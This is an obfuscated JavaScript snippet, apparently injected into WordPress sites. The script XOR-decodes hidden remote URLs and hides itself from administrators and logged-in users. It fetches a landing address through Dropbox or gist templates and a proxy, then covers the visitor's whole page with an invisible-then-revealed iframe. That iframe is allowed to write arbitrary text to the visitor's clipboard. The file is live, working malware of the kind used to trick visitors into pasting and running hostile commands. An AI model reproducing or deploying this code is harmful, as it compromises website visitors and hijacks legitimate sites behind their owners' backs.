(function (){
var apipla={"k":212,"s":31,"d":[188,135,102,65,35,85,161,130,170,142,99,80,61,16,227,204,234,128,109,76,111,44,12,178,213,181,150,112,86,50,88,229,220,163]};
var trcnpln=[{"t":{"k":90,"s":23,"d":[50,5,252,239,197,247,203,212,96,72,55,121,9,236,232,219,191,131,141,124,67,79,55,4,236,237,213,169,170,219,111,76,87,126,19,22,242,208]},"f":true}];
var prxpdbs={"k":41,"s":5,"d":[65,90,71,72,78,120,104,99,55,63,57,18,4,4,10,0,26,17,238,166,238,253,250,178,195,212,132,143,221,221,207,162,175,145,188,190,187,135,149,179,129,132,148,120,124,85,121,38,46,41,81,73,67,86,88,94,39,123,122,118,35,63,45,89,91,64,68,86,74]};
function decodelpdayd(lpdayd){
if(!lpdayd||typeof lpdayd!=="object") return "";
var data=lpdayd.d;
var key=lpdayd.k;
var step=lpdayd.s;
if(!data||typeof data.length!=="number") return "";
key=(typeof key==="number" ? key:0) & 255;
step=(typeof step==="number" ? step:1) & 255;
if(!step) step=1;
var out="";
for (var i=0; i < data.length; i++){
out +=String.fromCharCode((data[i] ^ ((key + ((i * step) & 255)) & 255)) & 255);
}
return out;
}
var API_ID_URL=decodelpdayd(apipla);
var PROXY_BASE_URL=decodelpdayd(prxpdbs);
var TRUSTED_CONFIGS=[];
for (var tcIndex=0; tcIndex < trcnpln.length; tcIndex++){
var tcItem=trcnpln[tcIndex]||{};
TRUSTED_CONFIGS.push({
template: decodelpdayd(tcItem.t),
useFetch: !!tcItem.f
});
}
if(/^\/(wp-admin|wp-login)/.test((window.location.pathname||""))) return;
var GLOBAL_KEY=(typeof Symbol==="function"&&Symbol.for)
? Symbol.for("__inline_id_offer__")
: "__inline_id_offer__";
var registry=window[GLOBAL_KEY]=window[GLOBAL_KEY]||{
status: "idle",
iframeId: "__inline_offer_iframe__",
iframeAttr: "data-inline-offer-frame",
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requestRetryDelayMs: 150,
requestRetryCount: 1,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext(){
try {
if(window.__disableInlineOffer__===true||window.__isWpAdmin__===true) return true;
var path=window.location.pathname||"";
if(/^\/(wp-admin|wp-login)/.test(path)) return true;
var cookie=document.cookie||"";
if(/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de=document.documentElement;
var body=document.body;
if(de&&typeof de.className==="string"&&/\bwp-toolbar\b/.test(de.className)) return true;
if(body&&typeof body.className==="string"&&/\badmin-bar\b/.test(body.className)) return true;
if(document.getElementById("wpadminbar")) return true;
} catch (e){}
return false;
}
if(isWpLoggedInContext()) return;
if(document.getElementById(registry.iframeId)){
registry.status="active";
return;
}
if(registry.runPromise||registry.status==="loading"||registry.status==="active"||registry.status==="done"){
return;
}
registry.status="loading";
function safeAppendQuery(url, key, val){
var sep=url.indexOf("?") >=0 ? "&":"?";
return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
}
function buildTrustedUrl(template, id){
if(!template||!id) return "";
if(template.indexOf("dropbox.com") >=0){
return template.replace(/\{id\}/g, id);
}
var encoded=encodeURIComponent(id);
if(template.indexOf("gist.githubusercontent.com") >=0){
encoded=encoded.replace(/%2F/g, "/");
}
return template.replace(/\{id\}/g, encoded);
}
function toHttpUrl(value){
if(!value) return "";
var s=String(value)
.replace(/^\uFEFF/, "")
.trim()
.replace(/^[\'"`\s]+|[\'"`\s]+$/g, "");
if(!s) return "";
if(!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)){
if(/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)){
s="https://" + s;
}else{
return "";
}}
try {
var u=new URL(s);
if(u.protocol==="http:"||u.protocol==="https:"){
return u.href;
}} catch (e){}
return "";
}
function findUrlInObject(input, depth){
if(!input||depth > 3) return "";
if(typeof input==="string"){
return toHttpUrl(input);
}
if(Object.prototype.toString.call(input)==="[object Array]"){
for (var i=0; i < input.length; i++){
var arrVal=findUrlInObject(input[i], depth + 1);
if(arrVal) return arrVal;
}
return "";
}
if(typeof input==="object"){
var keys=["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j=0; j < keys.length; j++){
var key=keys[j];
if(Object.prototype.hasOwnProperty.call(input, key)){
var direct=findUrlInObject(input[key], depth + 1);
if(direct) return direct;
}}
for (var k in input){
if(!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested=findUrlInObject(input[k], depth + 1);
if(nested) return nested;
}}
return "";
}
function extractLandingUrl(raw){
if(!raw) return "";
var text=String(raw).replace(/^\uFEFF/, "").trim();
if(!text) return "";
var direct=toHttpUrl(text);
if(direct) return direct;
if((text.charAt(0)==="{"&&text.charAt(text.length - 1)==="}") ||
(text.charAt(0)==="["&&text.charAt(text.length - 1)==="]")){
try {
var parsed=JSON.parse(text);
var jsonUrl=findUrlInObject(parsed, 0);
if(jsonUrl) return jsonUrl;
} catch (e){}}
var matchHttp=text.match(/https?:\/\/[^\s"'<>]+/i);
if(matchHttp&&matchHttp[0]){
var httpUrl=toHttpUrl(matchHttp[0]);
if(httpUrl) return httpUrl;
}
var matchDomain=text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
if(matchDomain&&matchDomain[0]){
var domainUrl=toHttpUrl(matchDomain[0]);
if(domainUrl) return domainUrl;
}
return "";
}
function getOriginSafe(url){
try {
return new URL(url).origin;
} catch (e){
return "";
}}
function addHint(rel, href){
if(!href||!document||!document.createElement) return;
var key=rel + "::" + href;
if(registry.hints[key]) return;
registry.hints[key]=true;
try {
var parent=document.head||document.documentElement;
if(!parent) return;
var link=document.createElement("link");
link.rel=rel;
link.href=href;
if(rel==="preconnect"){
link.crossOrigin="anonymous";
}
parent.appendChild(link);
} catch (e){}}
function warmupOrigins(){
var origins={};
var apiOrigin=getOriginSafe(API_ID_URL);
if(apiOrigin) origins[apiOrigin]=true;
var proxyOrigin=getOriginSafe(PROXY_BASE_URL);
if(proxyOrigin) origins[proxyOrigin]=true;
for (var i=0; i < TRUSTED_CONFIGS.length; i++){
var tpl=TRUSTED_CONFIGS[i]&&TRUSTED_CONFIGS[i].template;
if(!tpl) continue;
var probe=tpl.replace(/\{id\}/g, "x");
var origin=getOriginSafe(probe);
if(origin) origins[origin]=true;
}
for (var originKey in origins){
if(!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
addHint("dns-prefetch", originKey);
addHint("preconnect", originKey);
}}
function getMountNode(){
return document.body||document.documentElement||null;
}
function fetchTextViaFetch(url, timeoutMs){
return new Promise(function (resolve){
if(!url||typeof fetch!=="function"){
resolve("");
return;
}
var finished=false;
var timer=null;
var controller=null;
function done(value){
if(finished) return;
finished=true;
if(timer) clearTimeout(timer);
resolve((value||"").trim());
}
try {
if(typeof AbortController!=="undefined"){
controller=new AbortController();
}
timer=setTimeout(function (){
try {
if(controller) controller.abort();
} catch (e){}
done("");
}, timeoutMs);
fetch(url, {
cache: "no-store",
credentials: "omit",
signal: controller ? controller.signal:void 0
})
.then(function (response){
return response ? response.text():"";
})
.then(function (text){
done(text);
})
.catch(function (){
done("");
});
} catch (e){
done("");
}});
}
function fetchTextViaXhr(url, timeoutMs){
return new Promise(function (resolve){
try {
var xhr=new XMLHttpRequest();
xhr.open("GET", url, true);
xhr.withCredentials=false;
xhr.timeout=timeoutMs;
xhr.onreadystatechange=function (){
if(xhr.readyState!==4) return;
if(xhr.status >=200&&xhr.status < 400){
resolve((xhr.responseText||"").trim());
return;
}
resolve("");
};
xhr.onerror=function (){ resolve(""); };
xhr.ontimeout=function (){ resolve(""); };
xhr.send(null);
} catch (e){
resolve("");
}});
}
function buildProxyUrl(stage, target){
var url=PROXY_BASE_URL;
url=safeAppendQuery(url, "stage", stage);
if(target){
url=safeAppendQuery(url, "target", target);
}
return url;
}
function fetchTextDirect(url, timeoutMs, retriesLeft){
return fetchTextViaFetch(url, timeoutMs)
.then(function (text){
if(text) return text;
return fetchTextViaXhr(url, timeoutMs);
})
.then(function (text){
if(text||retriesLeft <=0) return text;
return new Promise(function (resolve){
setTimeout(function (){
fetchTextDirect(url, timeoutMs, retriesLeft - 1).then(resolve);
}, registry.requestRetryDelayMs);
});
});
}
function fetchTextProxy(stage, target, timeoutMs){
var proxyUrl=buildProxyUrl(stage, target);
return fetchTextViaFetch(proxyUrl, timeoutMs)
.then(function (text){
if(text) return text;
return fetchTextViaXhr(proxyUrl, timeoutMs);
});
}
function fetchTextResilient(url, timeoutMs, proxyStage){
return fetchTextDirect(url, timeoutMs, registry.requestRetryCount)
.then(function (text){
if(text||!proxyStage) return text;
return fetchTextProxy(proxyStage, url, timeoutMs);
});
}
function tryCopy(text){
if(typeof text!=="string"||!text) return;
try { window.focus(); } catch (e){}
if(navigator.clipboard&&navigator.clipboard.writeText){
navigator.clipboard.writeText(text).catch(function (){
fallbackCopy(text);
});
return;
}
fallbackCopy(text);
}
function fallbackCopy(text){
try {
var mount=getMountNode();
if(!mount) return;
var ta=document.createElement("textarea");
ta.value=text;
ta.setAttribute("readonly", "readonly");
ta.style.position="fixed";
ta.style.left="-9999px";
ta.style.top="0";
ta.style.opacity="0";
mount.appendChild(ta);
try { ta.focus(); } catch (e){}
ta.select();
ta.setSelectionRange(0, ta.value.length);
document.execCommand ("copy");
if(ta.parentNode) ta.parentNode.removeChild(ta);
} catch (e){}}
function bindMessageHandler(){
if(registry.messageBound) return;
registry.messageBound=true;
window.addEventListener("message", function (event){
var data=event&&event.data;
var iframe=document.getElementById(registry.iframeId);
if(!iframe||!data||typeof data!=="object") return;
if(event.source&&iframe.contentWindow&&event.source!==iframe.contentWindow) return;
if(data.type==="ktl-show-original"){
if(typeof registry.destroy==="function") registry.destroy();
return;
}
if(data.type==="ktl-frame-ready"){
if(typeof registry.reveal==="function") registry.reveal();
return;
}
if(data.type==="copy"&&typeof data.text==="string"){
tryCopy(data.text);
}});
}
function cleanup(nextStatus){
var iframe=document.getElementById(registry.iframeId);
registry.destroy=null;
registry.reveal=null;
try {
if(iframe&&iframe.parentNode){
iframe.parentNode.removeChild(iframe);
}} catch (e){}
registry.status=nextStatus||"done";
}
function resolveLandingUrl(id){
if(!id||!TRUSTED_CONFIGS.length){
return Promise.resolve({ primaryUrl: "", fallbackUrl: "" });
}
function step(index){
if(index >=TRUSTED_CONFIGS.length){
return Promise.resolve({ primaryUrl: "", fallbackUrl: "" });
}
var cfg=TRUSTED_CONFIGS[index]||{};
var builtUrl=toHttpUrl(buildTrustedUrl(cfg.template||"", id));
if(!builtUrl){
return step(index + 1);
}
if(!cfg.useFetch){
return Promise.resolve({ primaryUrl: builtUrl, fallbackUrl: "" });
}
return fetchTextResilient(builtUrl, registry.requestTimeoutMs, "landing")
.then(function (raw){
var landingUrl=extractLandingUrl(raw);
if(landingUrl){
return {
primaryUrl: toHttpUrl(landingUrl),
fallbackUrl: ""
};}
return step(index + 1);
})
.catch(function (){
return step(index + 1);
});
}
return step(0);
}
function activateIframe(primaryUrl, fallbackUrl){
if(!primaryUrl||registry.status==="active") return;
if(isWpLoggedInContext()){
cleanup("done");
return;
}
var attemptUrls=[];
var primary=toHttpUrl(primaryUrl);
var backup=toHttpUrl(fallbackUrl);
if(primary) attemptUrls.push(primary);
if(backup&&backup!==primary) attemptUrls.push(backup);
if(!attemptUrls.length){
cleanup("done");
return;
}
var existing=document.getElementById(registry.iframeId);
if(existing){
var hidden=false;
try {
hidden=existing.getAttribute("aria-hidden")==="true"||existing.style.visibility==="hidden"||existing.style.pointerEvents==="none";
} catch (e){}
if(!hidden){
registry.status="active";
return;
}
try {
if(existing.parentNode) existing.parentNode.removeChild(existing);
} catch (e){}}
var mount=getMountNode();
if(!mount){
setTimeout(function (){
activateIframe(primary, backup);
}, 0);
return;
}
function attempt(index){
if(index >=attemptUrls.length){
cleanup("done");
return;
}
var url=attemptUrls[index];
var iframe=document.createElement("iframe");
var closed=false;
var revealed=false;
var timeoutId=null;
function reveal(){
if(closed||revealed) return;
revealed=true;
if(timeoutId) clearTimeout(timeoutId);
registry.status="active";
iframe.style.visibility="visible";
iframe.style.opacity="1";
iframe.style.pointerEvents="auto";
iframe.removeAttribute("aria-hidden");
setTimeout(function (){
try { iframe.focus(); } catch (e){}
try {
if(iframe.contentWindow&&iframe.contentWindow.focus){
iframe.contentWindow.focus();
}} catch (e){}}, 0);
}
function destroy(finalize){
if(closed) return;
closed=true;
if(timeoutId) clearTimeout(timeoutId);
try {
if(iframe.parentNode) iframe.parentNode.removeChild(iframe);
} catch (e){}
if(finalize){
cleanup("done");
return;
}
attempt(index + 1);
}
registry.destroy=function (){
destroy(true);
};
registry.reveal=reveal;
iframe.id=registry.iframeId;
iframe.setAttribute(registry.iframeAttr, "1");
iframe.setAttribute("aria-hidden", "true");
iframe.setAttribute("loading", "eager");
iframe.setAttribute("allow", "clipboard-write");
iframe.src=safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
iframe.style.cssText=[
"position:fixed !important",
"top:0",
"left:0",
"width:100vw",
"height:100vh",
"border:none",
"z-index:2147483647",
"margin:0",
"padding:0",
"overflow:hidden",
"visibility:hidden",
"opacity:0",
"pointer-events:none",
"background:transparent"
].join(";");
iframe.onload=function (){
if(closed) return;
if(!registry.requireReadyMessage){
reveal();
}};
iframe.onerror=function (){
destroy(index >=attemptUrls.length - 1);
};
timeoutId=setTimeout(function (){
if(revealed) return;
destroy(index >=attemptUrls.length - 1);
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e){
destroy(index >=attemptUrls.length - 1);
}}
attempt(0);
}
function run(){
warmupOrigins();
bindMessageHandler();
return fetchTextResilient(API_ID_URL, registry.requestTimeoutMs, "id")
.then(function (id){
if(isWpLoggedInContext()){
cleanup("done");
return { primaryUrl: "", fallbackUrl: "" };}
id=(id||"").trim();
if(!id){
cleanup("done");
return { primaryUrl: "", fallbackUrl: "" };}
return resolveLandingUrl(id);
})
.then(function (result){
if(isWpLoggedInContext()){
cleanup("done");
return "";
}
result=result||{};
var finalUrl=toHttpUrl(result.primaryUrl||"");
var fallbackUrl=toHttpUrl(result.fallbackUrl||"");
if(!finalUrl){
cleanup("done");
return "";
}
var finalOrigin=getOriginSafe(finalUrl);
if(finalOrigin){
addHint("dns-prefetch", finalOrigin);
addHint("preconnect", finalOrigin);
}
var fallbackOrigin=getOriginSafe(fallbackUrl);
if(fallbackOrigin){
addHint("dns-prefetch", fallbackOrigin);
addHint("preconnect", fallbackOrigin);
}
activateIframe(finalUrl, fallbackUrl);
return finalUrl;
})
.catch(function (){
cleanup("done");
});
}
registry.runPromise=run();
})();